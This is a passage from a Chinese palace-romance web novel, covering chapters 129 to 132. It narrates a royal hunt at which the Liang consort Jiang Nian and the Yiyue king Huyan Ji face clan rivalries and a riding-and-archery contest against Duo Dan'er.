在他们看来,这位梁妃当真是美,那么白的肌,生得很是秀丽。
江念能得夷越百姓高看,一是因为新奇,二是因为夷越王妃的身份,两者加持下,为她更添光晕。
百姓们甚至生出一种念想,他们的少帝也是难得的英俊,这二人若能诞下王嗣,该是何种瑰丽天姿。
人们的注意已完全**念同呼延吉吸引了,随在金辇后的另两座乘辇就清淡了许多。
后两个是朵氏同朵妲儿的木辇,由梨花木制成,垂挂彩色纱幔,十分繁复华贵。
朵妲儿双眼端直,看着前方,其实她的前面是朵氏的乘辇,可她却从隙空处盯着最前方豪阔的金辇,看着辇中并坐的两人。
反观落于金辇后的朵氏,一脸木然,眼中看不出任何情绪。
呼延吉余光见江念肩背挺直,双手端在身前,一点也不放松,他都替她累,于是伸手攀上她的腰肢,轻轻一拍:“你拧那么紧做什么?”
“什么拧那么紧?”
呼延吉笑了笑:“放松些。”
江念这才会过他的意思,自己身体太使力了,一点也不舒展,有些红脸。
而这一画面在京都的百姓看来,就是君王同梁妃在亲密私语,恩爱的表现。
出了城门,辇夫开始扬鞭提速,终于,到了嶂山脚下,只见王庭亲卫已阵列于木栅周边。
进了围栅,众人又是一番迎候跪拜。
江念随呼延吉落座于围场正中的一座宽敞的锦帐内,呼延吉威坐上首的大桌案,同他并排的一个位置空着,那是大妃之位,江念不是,所以她只能坐在呼延吉右下位的侧案。
王帐处于猎场正中央,目及处,可观览场中全景,再观这锦帐内陈设,一张黑檀木雕镂山水,案上摆着各类鲜果、小食,还有冰饮。
环顾嶂山狩猎场,实在太大,四周衔山抱水,环境清幽,不远处还有密林,整个狩猎场一眼望不到头。
地面的杂草事先被修裁过,青青短短的,娇绿芊绵。
围场内众**多没见过江念,特别是各家的年轻男女们,更是好奇,有大胆直看的,有躲眼偷看的。
“就是她?”说这话之人,身着一身蓝色骑装,深肌色,眼珠格外的黑,扯辔的那只手,戴着三个珠石戒。
此人叫罗疏,罗氏一族。
在他的旁边是一群骑于马上的锦衣华服男子们,几人正围在一处,一手勒辔,一手执鞭,隔着远远的距离,往上首的锦帐看去。
另一人不紧不慢地说道:“长得倒是不错,怪道我们那位君王喜欢。”说着侧过头,看周边几人笑道,“我听说为了她,把高逊的腿都弄残了。”
说话这人叫阿史勒,亦是上姓,阿史一族。
而他们这一群人皆是上姓子弟。
只听那罗疏说道:“倒是狠,高逊还是咱们这位王的表亲,这都下得去手。”
阿史勒笑了一声:“这算什么,狠的是,高家吃了这样一个大亏,到最后愣是吭也不敢吭一声,这是先拿高家开刀,日后总会轮着咱们,一个一个来,谁也跑不了,不信你们看罢。”
说着,将马头勒向另一边,身子也侧了过去,对身边一人说道:“阿赤,你大妹妹朵梵儿自打成王去后,就一直以王嫂寡居于东殿,这会儿,你朵家又送一个进去,若再坐不上妃位,可就……”
不待他说完,被叫阿赤的男子一声哼笑,却并不答话。
众人见他那样,知道此次朵家要出手了,估计用不了多久,夷越大妃之位便要定下来,多半就是那位后进王庭的朵妲儿。
这名叫阿赤的男子,正是朵家大宗长子,朵阿赤,生了一双夷越少见的单眼,薄薄的眼窝处,带着浅浅的眼褶,一头长发在阳光下微微泛红,因他原本的发色是红褐,光线不强时便是普通的褐色,迎光时,才会呈现淡淡的红调。
正在说话间,另一边传来纷杂的马蹄声,也是一群高扬不羁的年轻儿郎。
他们中为首一人,束着高高的发,容貌英俊,不知说了什么,围在他周围的几人,皆大笑起来。
阿史勒见了,说道:“看看,这些世家子弟,比咱们架势还足。”
“这也不奇怪,兀良家那小子自来就傲,他阿姐若还在,咱们哥儿几个指不定还巴着他呢。”罗疏看向对面为首的束发男子。
对面那位束发男子,正是兀良家的小儿子,也是前夷越大妃兀良慈之弟,兀良楼。
朵阿赤脸上的表情尤为不屑:“就算他阿姐没死,一个世家子,也不值得我上姓氏族讨好。”一转眼看向其他几人,冷笑一声
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,笑声里带着鄙薄的意味,然后驱马去了别处。
待人走远后,罗疏一声冷哼:“在咱们面前摆的什么款,我倒要看看,这次他朵氏之女坐不坐得上大妃之位。”
江念同呼延吉落座后,众人向上伏拜,行礼,礼毕。
呼延吉平声道:“免礼,起身。”
大宫监丹增传:“免礼,起身。”
众人这才依次序起身。
内侍司等几个部司组织猎场活动,最先开始登场的并非各大门阀子弟,而是京都禁军和王庭亲卫。
此二者一个负责京都城防,一个负责王庭护卫,皆是君王手里的利刃。
只见禁军首领同亲卫首领各率部将分为两阵,禁军为红甲,红色的甲胄像是浸着敌人的血,亲卫为银甲,耀着寒光,散着森然之气。
两军军兵右手叩胸,向上首的呼延吉同江念行军礼,再各自散开,排成阵列,进行实战对演。
江念看着场下威势凛凛的军兵们,明了此举是在向君王展示他们各自的实力,既是向君王展示,也是让君王检验。
江念侧目看向呼延吉,见他目光如炬,一瞬不转地看着场上的对战演练,他的全心注视便是对军兵们最大的尊重,在他的注视下,所有军兵拼出全力相互搦战。
双方直到最后也没有拼出个胜负,虽未分出胜负,不过江念看得出呼延吉心甚好。
最后丹增传话,双方都有嘉奖。
此言一出,场内吼的一声,欢呼起来,气氛高涨如潮,众人的心也跟着热烈欢腾。
两军退去,再就是各大门阀子弟和年轻的朝臣们上场。
那些门阀子弟和年轻朝臣们,个个身姿矫健,有着形容不出的野生气和争强的骜。
不得不说,夷越这一点同梁国简直不一样,梁国世家大族不乏优秀精悍子弟,不多,大部分是苗而不秀之辈。
只见这些人走到场中央,远远隔着,向江念同呼延吉的锦帐行单膝礼,江念以为呼延吉会道“起身”,然而却没有,只见他从案后站起,走出锦帐,下到场中。
一边的丹增看出江念的疑虑,躬身道:“按夷越的规矩,君王下场,亲率一支队伍进行逐兽和射猎。”
江念微笑道:“君臣共乐?”
丹增笑着点头:“正是,正是。”接着又说,“赛后,还有各家贵女们的比试,梁妃殿下也可以下场显显身手。”
江念含笑点头,突然感到一道视线扫向她,于是侧头看去,是朵妲儿,她的锦帐就在斜对面,只见她今日一身海棠色的窄腰骑装,一头浓密的卷发用银箍高高束起,那发尾蓬松在身后,既有女儿家的娇俏又透出夺目的英气。
两方隔得不算远,江念这边看过去,朵妲儿大大方方回以一笑,笑里是即将志得意满的从容,倒像她坐的才是主位,而自己坐的是客位。
江念感觉体内有什么向上窜动,扬了扬下巴,眸光轻斜,从前那个不可一世的江家女郎又回来了……
第130章 骚动
江念高高扬起唇角,朵妲儿怔了一瞬。
这个梁妃在她看来,一直是忍气吞声的模样,美则美矣,却是个木头。可她刚才的那一笑,同自己的笑有着同等的重量和含意。
此时,猎场上的动静吸引了所有人的注意。
江念同朵妲儿各自看向场中,锦帐中的女眷们和丽婢们皆将目光投向场内,看向场中热愤的儿郎们。
所有人都被场内的情形吸引。
其实刚才丹增道出的狩猎规矩并不完全,君王下场,带队狩猎,可君王并非必须下场,就是成王在位之时,也只下场过一次。
而现任夷越王自登极以来,一次也未下场狩猎,往年也是观阅一会儿就提前离开,今年居然亲自下到狩猎场带队狩猎。
这可难得一见。
只见身着一袭柔蓝色劲装的呼延吉,一走到场中,那群英健儿郎便自动为他让出一条道来。
这些看上去身手矫健,仪态不俗的男子们聚在一起,好似每个人都很精彩,可当呼延吉走到他们中间时,这些人就不够看了,呼延吉变成最打眼的那个。
众男子站在一处,规则他们都明白,无非就是各自组队,然后前往密林捕兽,最后再论输赢,眼下就是组队的问题。
以往都是自愿组队,可今日不行,在君王面前,没有他们选择的权利。
呼延吉倒不在意这些小节,只让他们各自组队。
话是这么说,可哪能真由自己选择,也不能都选择同呼延吉一队,可不选择呼延吉,又好像同君王站在对立面似的。
僵持了一会儿,呼延吉不耐,随手点了一队人,这些人走到呼延吉身后,俱是世家子弟,而剩下的皆是上姓子弟,所以看似随意点将,内里却有门道。
俨然分成两个派系。
“王,我们这边还差一人。”兀良楼凑到呼延吉身边低声道。
呼延吉看向对面,说道:“过来一人。”
还没等上姓子弟们反应,一个人影已蹿到了对面。
那人单膝跪到呼延吉面前,一手叩胸:“臣愿追随大王。”这话说得,倒像表忠心似的。
众人一看,此人正是阿史家的阿史勒。
呼延吉“嗯”了一声,没有多的话,阿史勒起身,走到呼延吉的身后。
明明一个简单的组队狩猎,却透着不一样的意味。
待队伍分好,各自翻身上马,挥鞭打马直奔密林,蹄声如雷,泥草飞溅。
人员一进入密林,外面的人便看不到什么了。
“主子,婢子替你剥几个果儿吃。”秋月说道。
江念两眼直直盯着密林,心不在焉地“嗯”了一声。
阿星见了,也赶着说:“婢子给你倒茶。”
江念点点头。
秋月将果子剥了皮递到江念面前,正巧阿星也沏好香茶递到江念面前,江念心思只在远方的密林,遽然一声彻空的吼叫,惊起飞鸟无数。
在场之人心神俱是一紧。
江念眼梢见有东西递来,便顺着右手接下,接的正是秋月剥好的果,就没注意到阿星手里端的茶盏,直到听见桌上一声磕碰,这才收回注意看去,桌案上摆着一碗茶,茶碗边荡出水渍。
再看阿星,一张圆脸气鼓着,别着头。
江念不是没察觉到她近日的异常,跟秋月有些不对盘,不过秋月至少没过分表露,平日手头上的事一点不耽误。
阿星这人意气用事,情绪来得太快,也不太会遮掩。
之前她还会言语几句让她有台阶可下,可她若一直不懂分寸,她也不想哄了。
突然地面传来雷霆般的震动,自密林深处往这边响过来,闲适的众人全都站起,心道一声,来了!
最先从林间飞窜出几头鹿,眨眼之间,更多的鹿从林间跑出。
这是将猎物赶聚在一起,然后包抄猎杀,在最短的时间内获得最多的战利品。
随后人马齐出,开始拈弓搭箭,对着鹿群射猎,刹时间,箭如飞蝗,射向四处逃窜的鹿群。
江念在人群里寻找呼延吉,却不见他的人影,不知不觉站起身,探身向前,再一想,他应该还在密林间,同他一道的几个世家子弟也没见到。
正想着,地面响起更大的骚动,霎时间尘烟四起,烟起处,奔出更多的鹿、狐狸,最后又是一大群狼,往外逃窜。
可还是没见到呼延吉等人,众人的心全都提了起来,他们预感有更大的东西在后面。
前面的动物还未散,后方突然冲出一花黄巨物,十分迅捷,定目看去,居然是一头吊睛大虎!这畜生一现身,场中之人俱是一片呼喝。
这还未完,接着又是几头野猪,野猪后又是一头吊睛大虎,竟有两头!且体型格外彪壮。
终于,呼延吉同他的人马飞纵出了密林,一出密林,便分成左右,包抄刚才驱赶的猎物,进行猎杀。
江念走出案几,为了看得更清楚,出到帐外,只见呼延吉两腿紧夹马身,身子微微腾空,衣摆撩起掖于腰间,栗色的浅发在柔热的风中舞着,手拉长弓,不看那些小兽,只是瞄准吊睛大虎,却迟迟不射出那一箭。
终于,“咻——”的一声,箭矢射出,直直射中大虎的一只眼,那虎疾跑中一声低吼,扑跌在地,呼延吉不待它起身,又是一箭射出,将大虎的另一只眼射瞎。
另一边,朵阿赤见呼延吉射杀了一只虎,还有一只在他们那队人的圈围中,度量了一下射程,当下从后背取出一支箭搭在弓上,瞄准,手指一松,箭影快速射向另一头吊睛大虎。
这时,一道更急更利的影斜刺而来,将朵阿赤的箭矢撞下。
众人虽看不清那箭的轨迹,却看得清楚射箭之人,拦截朵阿赤的那支箭正是呼延吉射出的。
朵阿赤额上冒汗,那样快的箭速,呼延吉居然能破空拦截。
正在他思索间,周围突然安静下来,静得太过突然,朵阿赤一抬眼,瞬间僵在那里,全身汗**立起,脸色煞白。
他的正前方,呼延吉缓缓举起弓箭瞄准了他,箭已搭在弦上,弓也拉满。
场中所有人不敢啧声,锦帐中的朵家人惊慌起身,甚至带翻了茶盘,整个场中只有两个朵家人稳坐。
一个是朵家家主,朵尔罕,不过他搁在桌案上紧紧攥起的双手使他看起来并不像表面那样镇定自若。
另一人则是东殿大妃,朵氏,她木木地看着场上待要发生的事,嘴角甚至勾出一丝微不可见的冷笑。
就在众人以为呼延吉只是作势警告时,“嗡——”的一声响,箭已离弦,射向对面之人。
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箭击破朵阿赤的发箍,一绺发丝随即飘落,男人额上的汗液随着侧庞滑落,喉头下意识地滚了滚。
呼延吉的声音冷冷传出:“再敢动我的东西,让你跟那畜生一个下场。”说罢,一招手,立时有宫人上来收捡地上的猎物。
此时围抄的群兽们已四散逃尽。
呼延吉根本不在意输赢,他只要那头吊睛大虎,本可以有两头,回了王帐,立时有宫婢端来面盆给他净手,再用巾帕拭干手中的水渍。
“那虎皮不错。”呼延吉说道。
江念点了点头。
他见她不怎么说话,问道:“怎么了?”
因为今年她在场,他才下场,可她的神色却有些异样。
江念本不想说的,怕言语拿捏不好,惹人嫌,不过呼延吉问了一嘴,她就借这个话头讲了。
“刚才你太生莽了。”
呼延吉就是这点不好,脾性太过霸道,谁要冒犯到他,气性一来,上去就下死手,根本没有缓和。
江念说着,看了他一眼,若他不耐,她就闭嘴不言语。
好在呼延吉听了并未说什么,只是盘着手里的杯器,见江念那边安静下来,说道:“你说,怎么不说了,我听着呢。”
“朵尔罕也在,你当着众人羞辱他家长子,总归有些不妥。”
江念说到这里,停了一停,目光扫了一眼场地。
此时禁军清场,将几道栅口闭上,确保场中再无凶兽,各家女眷纷纷在奴仆的环簇下走到绿茵茵的狩猎场中,四散漫走,也有骑马遛弯的。
奴仆们开始往各锦帐中送上酒馔美食。
丹增侍立在侧,听了江念的话,心道,梁妃虽是关心大王,却不该在大王面前说这个话,王一向厌恶五上姓。
曾为此还同高太后起过争执,不过那也是好早的事了,这会儿梁妃只怕要惹大王不快了。
果不然,呼延吉冷哼一声:“别说羞辱朵阿赤,就是羞辱朵尔罕本人又怎样。”
“你现在还没有绝对的力量……”
江念话未说完,呼延吉闷闷说道:“阿姐,我知道,你说的这些我都知道,下次我控制好脾气。”
丹增呆了呆,大王几时这般好说话了?有句话怎么说来着?一物降一物。
不一时,他们的桌案上摆满了菜馔,场中其他锦帐也都摆好美味的饭食。
众人在自家帐里,向上首的王帐欠身施礼,待王帐开始用饭,其他人随后动筷。
用**事,江念笑道:“大王替我选匹马儿,一会儿我也要耍耍。”
呼延吉站起身,走到江念的侧案边,递手给她,江念将手搁在他的手里,站起身,两人的手在短暂地触碰后,再分开,并肩走出锦帐。
在他二人走入场中时,场内其他人有意无意地将目光转到江念身上,谁能想到,他们的王最后会娶梁女为妻,虽说不是大妻,可也够惊人的。
要知道,梁国同夷越战事不断,大王又常亲自征战,手上不知死过多少梁人。
呼延吉同江念走到马棚处,正巧朵妲儿同另几个高门女子也在挑选马匹。
众人向呼延吉同江念施礼。
“江姐姐挑选马儿?”朵妲儿不等江念回答,又看向呼延吉,俏皮道,“大王难道忘了同妲儿说过的话了……”
第131章 美人儿
朵妲儿这话问得没头没尾。
呼延吉反问她:“忘记什么话?”
朵妲儿抿嘴儿一笑:“之前大王说过不会偏心,现在这是在做什么?”
“怎么又扯到偏心一事上?”
“大王给江姐姐挑选马儿,却不给妲儿挑马儿,不是偏心么?”
呼延吉先是一怔,笑着摇了摇头:“既是这样,那你们自己选,我走开些。”说罢,转身离去,众女子屈膝施礼,送他离开。
待呼延吉走后,朵妲儿脸上讨巧的劲儿淡下,江念不去看她,只看着棚里的马儿。
朵妲儿走到她的身边,问道:“江姐姐会骑马?”
江念点头。
朵妲儿见她好似完全不在意,一双眼只在马厩里睃来睃去,悠悠道:“我同大王有约定,若是我赢了比试,大王需得应我一个条件。”说着转头看向江念,低声道,“江姐姐就不担心我提出什么要求?”
江念往后退了一步,离马棚远了些,在马厩看了一遍,最后眼睛落在一匹白身带污点的马上。
“就这匹,牵出来。”
仆从将白马牵出。
江念接过马绳,这才回答朵妲儿的话:“担心什么?”
语气仍是松漫的。
朵妲儿走到她的身侧,低声道:“若我提的要求是……让大王立我为妃呢?”
江念缓缓看向她,回以一笑:“那也是妲儿妹妹的本事,我不担心。”
朵妲儿深看了一眼江念,分辨她这话里的真假。
江念又道:“妲儿妹妹向来说话灵巧,最能讨人欢心,怎么每每同我单独说话就是两样呢?”
“姐姐何必装糊涂呢,以后咱们总归要在一处侍奉大王的,不过早晚而已。”朵妲儿转过身,面朝狩猎场,说道,“我倒是有些可怜你,从前那样的豪横之家,如今却落得这般境地。”
“我倒不知妲儿妹妹有这份闲心,不去可怜自己,反倒可怜起我来了。”
“我有什么可怜的?”
江念十分利索地翻身上马:“妲儿妹妹还是先关心赢不赢得了我罢。”
说着一声驾呵,驱马离开。
朵妲儿面上倒没有变化,她根本没把江念放在眼里,梁国女子大多束于闺阁,梁女骑马,多半是坐于马背上不至于掉下来,那就是她们口里的“会”骑马。
可马技比试又岂是一个“会”字能应对。
朵妲儿从仆从手里接过马绳,翻身上马,纵马走向场中。
一天已过半。
场中已设好比试的木栏,箭靶等。
罗家的罗疏,阿史家的阿史勒,还有朵家的朵阿赤等一众上姓子弟们聚在一处。
“你刚才倒会表忠心。”朵阿赤冷笑一声道。
阿史勒毫不在意他话里的讥讽,说道:“我阿史家向来对大王忠心,何须另表?”
罗疏在一边笑了,不知是笑阿史勒还是笑朵阿赤,抑或是他就想看两人的笑话,最后岔开话头。
“你们看。”
几人往狩猎场看去。
“不知道这位梁妃赛不赛得过我夷越女子,看她那细胳膊细腿的,倒怕一会儿摔折了。”罗疏说道。
“妲儿那丫头在,她赢不了。”朵阿赤看了一眼场上翠墨衣衫的女子,这梁女看起来像一片柳叶,风一吹就能飘起来。
罗疏看了眼阿史勒:“你说呢?”
阿史勒这回倒是没说话,似是默认刚才朵阿赤的话。
今年因有江念参加骑射比试,格外引人注意。首先她的身份是梁国人就够吸引人了,再加上她还是君王新册的妃子,众人都想看看她在骑射比试中会有何种表现。
放眼整个狩猎场,摆放了不同高度的木障,高高低低地分布在场中,最高的木障高达三尺。
江念看着这些木栏,心里有了定数,下意识地抚了抚马项,低声道,追风啊,你可得争争气,咱俩配合好了,给你吃最好的饲料。
那马儿像是很满意“追风”这个名字,回应似的打了个响鼻。
参加比试的人不少,因江念是王妃,虽是异族,身份却摆在那里,众人皆以她为先。
江念却命他人先,她落后,这赛事她没参加过,其他人在前面,她能多观摩一会儿。
既然江念退出首位,首位自然就变成了朵妲儿。
监赛人上前讲述骑射规则,在规定时间内穿过不同的木障,然后举箭射靶,共九箭,射中九箭为最优。
在此过程中,计时计分,譬如马儿拒跳或是逃避,第一次不计,第二次会罚分,第三次直接淘汰,若一直踌躇不前超时者,亦会罚分。
朵妲儿驱马上前,在场中试跑一圈,引得不少人给她呼喝,她女扮男装在私人马场拔头筹的事,京都早就传遍。
她停马到起始处,纵马起跳,连过三道木栏,木障由低到高,女子纵马穿越,一气呵成。
此时,众人走入场中,围聚在一起。
“依我看,咱们这位梁妃首轮就要完。”不知谁说了一声。
另一人说道:“中间还有几位,且再看看。”
朵妲儿之后,轮向后面各家贵女。
江念专注看着这些人纵马腾跃,突然有个声音从旁响起:“梁妃殿下,一会儿千万莫在马鞍上坐实了,但也不可完全飘坐。”
江念这才注意到身边多了个人,女子身形不似普通夷越女子那般高挑,更为小巧,见江念看向她,忙说:“梁妃殿下,臣女是阿史家的,叫阿史苓。”
江念笑着点头:“阿史家的苓姑?”
阿史苓见江念叫她的名字,笑看着江念,来不及说多的话,拣重要的讲:“殿下同这马儿可有磨合?”
“适才带它小跑了几圈。”
阿史苓继续道:“三分在人,七分在马,殿下的这马儿不错。”说着又道,“殿下需格外注意,一会儿起跳时,莫要纵马到木障跟前再跳,离木障一个半马身时就控马扬蹄子。”
江念见她眼珠子灵活,脑中快速转着,只听她又道:“跳起后,殿下放松缰绳,不可绷紧,避免干扰马儿起跳后抬头。”
江念微笑点头。
阿史苓低着头,想着还有什么关要,可不容她多想,已轮到她上场,于是又补说了两句,这才驱马上场。
江念再次看向场上,刚才应是有部分人没通过,留下的人少了些。
阿史苓纵马穿越木障,落在对面,掉转马头,看向江念。
这位梁妃的骑装顶好看,她刚才在旁边艳羡了半日,心想着,回府也让缝人按照这个样式做一套,还有她编的发辫也好看,回去她也要梳这样的,还有,她身上的味道真好闻。
在阿史苓同江念搭话前,已把江念从头到脚打量了个遍,随即决意仿效其装扮。
她知道场上不少女子艳羡梁妃的衣着扮相,只敢在背后偷偷议论,她就不一样,她同梁妃拉近关系,然后正正当当地问。
不过这会儿,她却担心这位梁国美人儿,会不会从马上摔下来。
江念抚了抚马项,轻声道:“追风,你可得争气,啊,跳好了,有好吃的,以后你就跟着我,做我一个人的马儿,不用再同其他马儿挤马厩,‘三分靠人,七分靠马’,这次就靠你了。”
此时呼延吉也出了王帐,见江念对着身下白马神神道道的不知说什么。
“她在说什么?”
有着同样疑问的还有场上其他人。
“这位梁妃在同马说话?”阿史勒问道。
朵阿赤愣愣道:“疯了不成?”
江念纵马上场,周围话音渐隐,很快一片寂然无声。
她吁出一口气,勒转马头,行到离木障一段距离起步,髋部吸收马步的节奏,腰肢随摆。
快要到木栏时,收紧缰绳,白马扬蹄腾跃,起跳后,江念把辔松释,轻松跃过,可还没完,接着又是一小截空位跑,再次起跳,跃过,白马前后肢落地,落后又是一木障,一连三次,完全通过。
众人皆没料到,就这么让她过了?还过得这样不费气力。
江念嘴角高高扬起,从前马师虽教过她,那个时候,她也认真地受教过,可她对任何事都是三分热度。
用马师训她的话就是:“灵性有余,却定性不足,聪明劲儿全用在玩上了。”
江念这人从某些方面来说,很得老天爷宠,学什么一点就通,但是呢,是个光有天赋不下苦功的主儿,甚是贪玩。
不过因她是女儿家,也没人评她玩物丧志或是恃才旷物之类的话。
江念纵着她的白马,开始围着赛场跑圈,在头顶甩起马鞭,经过王帐时,笑看向上首之人,大声道:“大王,我的追风厉不厉害?!”
那白马也跟着“咴儿咴儿——”地叫着。
呼延吉本是笑着,一听“追风”这个名字,嘴角一抽,脑子里闪过江府那只长毛狗。
场中其他人见梁妃甩鞭纵马,一身飒爽之态,也被带动了,朝她高声呼喝。
阿史勒看向场中跑马的女子,轻声笑道:“阿赤,依我看,这场比试谁输谁赢还真不一定。”
罗疏往前一步,眯了眯眼,说道:“都有赢面,有的看了……”
第132章 热得发燥
穿越木障高度不同,难度也不同,最先穿过的是较矮的木栏,接下来的难度会越来越大,不仅仅是木障的高度提升,还有木障之间的距离的缩短。
也就是说中间的缓冲带会变短,人马配合不好,很难腾跃过去。
朵妲儿见江念过了木障,面上闪过一丝惊讶,转瞬又平了下来。
继续往下比试。
后面每一轮都有淘汰,江念就这么过了一轮又一轮,每次众人都以为她不行时,她都险险地跃过。
比试的顺序,朵妲儿第一位,江念最末一位,几场比试下来,朵妲儿同江念中间的距离越来越短,到最后,朵妲儿第一位,江念第三位,中间还有个阿史苓。
朵妲儿脸上再难维持平静,只觉得江念死死咬在她的身后,摆脱不得。
心态不平,就会影响接下来的比试,这是最后一道跃障,木栏高度达到马项之上。
朵妲儿纵马向前,结果马儿在木栏前迟疑不前,失了一次机会不说,还被扣减分数。
场上之人一片嗟叹。
这会儿,朵妲儿面色更加难看,额上开始沁汗,她不能输,打她记事起,她朵妲儿从未输过,一直都是拔尖的那个!
再后面是阿史苓,她干脆直接弃赛,理由很简单,她觉着自己过不了这道坎,这场赛事是朵妲儿同梁妃打擂,她不过是个充数的,没必要夹在中间,她的发辫有些乱了,得赶紧下场理一理。
阿史苓退下,轮到江念。
江念看着前面的木栏,吁出一口气,抚了抚马项,掉转马头,小跑起来,然后迎向木栏,在合适的位置起跳,越过,又是一气呵成,继续小跑,迎向下一道更高的木障,直到最后,也是最高的一道木障。
起跑……腾起……落地……
场上先是一静,接着开始骚动,有不可思议的,有兴味十足的,也有凑趣奉承的,不过也就是短短的一瞬,接下来就是高声喝彩。
喝彩之声将朵妲儿第二次的成功过栏都遮掩忽略了。
看台之上,阿史勒拿了一粒果子丢到嘴里,笑道:“怎样,我说什么来着,阿赤话说早了,输赢未定。”
朵阿赤鼻子里冷嗤一声:“急什么,后面还有驰射,你也别把话说早了,输赢未定。”
罗疏看了他二人一眼,说道:“你们较什么劲儿。”
阿史勒不语,他虽为五上姓,却一直认为呼延吉绝不会被上姓压制太久,不,如今已有压制不住之势。
五上姓皆有自己的兵马,朵家最甚,朵家的兵马不仅仅是私兵这么简单,好几位镇守关隘的大将皆效力于朵氏,换句话说,朵家可以操控战事走向。
朵家在朝中树大根深,盘根错节,可谓是兵权在握,这样的存在,身为君王的呼延吉怎么可能容得下。
阿史勒似是没听到罗疏的话,转头望向王帐前的呼延吉,暗道,阿史家绝不能在这场大清洗中覆灭,他有预感,接下来会有一场不见血的大动荡。
当下决定,回去需同父亲好好商议一番,阿史家需从漩涡中挣得生机,站对了,就是生,站错了……就是死!
驰射,顾名思义,骑马高速奔驰时射箭,考验精准度。
江念看了一眼箭靶,然后再看一眼台上的呼延吉,无声地摇了摇头。
马术她还能拼一拼,可这射箭……她不行,倒不是准头不好,而是她没那个臂力,就算她瞄得再精准,力度不够,也是无用。
呼延吉迎向狩猎场,抱臂立在那里,面上没什么表情,只是静静地凝着场下,不知在想什么。
朵妲儿纵马到江念身侧,说道:“江姐姐,你这胳膊可拿针线,却拿不得弓箭。”
朵妲儿以为江念听说此话,要么恼怒,要么羞惭,无非就是在这两种情绪间来回,不承想却听江念说了一句:“那我在这里提前给妲儿妹妹道贺了。”
朵妲儿愣了愣,在江念面上端相,只有大方坦然,顿时生出拳头打在棉花上的感觉。
驰射开始,马儿疾驰,江念双腿夹紧马身,空出手来拈箭搭弓,耳边的发丝扫到腮颊上,风是动着,人却是静止一般,听得“咻——”的一声。
第一箭,正中朱红靶心。
马儿继续绕场飞驰,但见女子袖口紧束,衣摆列荡风中,腮骨微紧,颀长的双腿从开叉的衣摆显露。
女人左手拽缰绳,右手挽长弓,临近箭靶时,再次端正身形,三指拈箭搭弓,凝目,射出。
第二箭,依旧正中朱红靶心。
不知不觉中,众人的心绪被她牵动,心底皆为她攒劲。
接连又是几箭射出,共九箭,六箭靶心,两箭内环,一箭次环。
江念还是吃亏在力怠之上,越往后越是力不从心。
轮到朵妲儿,不得不说,朵妲儿这一轮赢得漂亮,九箭连射,八箭钉在靶心,一箭内环。
最后一箭射出,箭还飞在空中,不等箭矢落靶,她已扬鞭拍马绕场。不用监赛人宣读结果,结果显而易见,最后的赢家是朵妲儿。
梁妃是大王之妻,众人犹豫着要不要给朵妲儿喝彩。
正在众人迟疑不定时,王帐前的呼延吉开始拊掌,接着大宫监扬声说道:“朵氏女,飒爽不让须眉,骑射第一,当赏!”
场上这才开始拊掌喝彩。
朵妲儿纵马到王帐前,笑道:“大王说过的话可还作数?”
呼延吉笑了笑:“自然作数,说来,让我应你什么?”
众人看着眼前一幕,不知朵妲儿向君王提何种要求。
朵妲儿仰面看向呼延吉,声音清响:“妲儿想同大王竞驹。”说着扬鞭指向远处,“谁先到达小清溪,就算谁赢,如何?”
狩猎场另一端蜿蜒着一条清溪,距此有些距离。
朵妲儿一语毕,呼延吉步下高台,招了招手,一边的亲卫牵来一匹黝黑的骏马。
呼延吉翻身上马,这便是应了。
在众人的注目下,两人策马往远处疾驰而去。
这下可就有意思了,看向梁妃的眼神便带了不一样的意味……
朵氏的锦帐同朵家相距不远,侧目中,隐约可观得她父亲面上满意的神色,朵妲儿这一举动又撞到父亲的心坎上。
朵妲儿邀大王竞驹,输赢不重要,重要的是大王应了,这便给了朵家脸,那么刚才君王下朵家脸面的事,可一笔抹过,同时又向在场众人暗示她的不同,极可能是下一任大妃人选,一举两得。
这便是朵妲儿的目的。
朵氏不免想起那日在树下,她问朵妲儿向大王提什么要求,又追问是否让大王立她为大妃,当时朵妲儿不可思议地看向她,如同看一个傻子。
朵妲儿啊,朵妲儿……同你比起来,我这道行当真不及你半分。
朵氏觉着自己像阴沟里的老鼠,手段阴私、下作,而朵妲儿不同,她的抢夺光明正大,让人在她手里吃了亏,却没法说出半句不好,还得闷声忍着。
莱拉从旁看自家主子,想说什么终是忍住了,她总觉着大妃怪怪的,以前她身子虽弱,可心是活的,然而现在好似对什么都没兴趣,只有在喝那苦涩的汤药时,才能从她微蹙的眉间感受到一丝情绪。
王帐中,江念才一坐下,阿星赶紧从盘中拿过一个脆甜的果儿,用小刀片好,端到江念面前。
江念用木签子攫了一块,放到嘴里。
秋月将浸过凉水的帕子递上,江念接过,压了压脸上的燥意。
阿星在江念脸上睃了两眼,愤愤道:“主子怎么这样好性儿,由着那个朵家女扬威,婢子就看不惯她那嚣张样儿,明摆着同您争夺大王的注意。”
江念脸颊通红,心里热得发燥,衣衫贴着后背,黏腻难受,阿星仍在她耳边喋喋。
“她也不看看自己什么身份,不过就是仗着东殿大妃,得以寄居于王庭一些时日,真把自己当个人物,可让她现眼呢!”
“慎言。”以前江念觉着阿星性子率真,现下一看,哪是什么率真,完全是不着调,什么话都往外说,心思也要不得,再怎么样,朵妲儿也不是她可以妄议的。
找个时间她得同她说一说,若能改倒还罢,若照旧这个样子……想到此,江念便有些头痛。
阿星撇了撇嘴,没再说什么。
“替我更衣。”江念起身。
秋月同阿星应下,把江念扶到里间,宫人将帷幕拉上。
这会儿已是太阳西平。
帷幕内,秋月用凉水浸湿帕子,拭去江念颈间的汗渍,江念皮肤过于白腻,晒了这么一会儿,脸颊和颈间烘得红红的。
阿星宽去江念身上的衣物,一件一件递于旁边的宫婢,另一宫婢拿出几件整备好的常服,摊摆开。
江念看了眼那件墨绿色的骑装,像腌菜似的团在那里,眼一转,看向面前的几件常服,下巴指向其中一件鹅黄色的轻薄绢衣。
“就这件。”
秋月从托盘内拿起衣衫,及至脚踝的玉色交领广袖长衫,领间微阔,上身后,露出乌金色的小衣,颈下横卧一对好看的玉骨,外面再罩一层鹅黄色的绢纱,以琅玕交缠束腰。
当真是柳腰脉脉,芳容窈窕,一身俏丽天然。
秋月用凉帕在江念颈间拭了拭,担心道:“不知是不是晒伤了,红成这样。”
江念笑了笑:“无事,我这一身皮恢复起来快。”
阿星不知想到什么,扑哧一笑,说道:“才来王庭那会儿比这更严重,养了些时日,就完全好了,真叫人羡慕。”
阿星这话倒叫江念眼中一软,她才来时,阿星和阿月指着她的头发和眼睛,看稀奇似的又是夸又是抚。
出了帷幕,刚一坐下,场中一阵异动。
原来是朵妲儿回了,然而,迟迟不见呼延吉……
第133章 我喜欢,别脱了
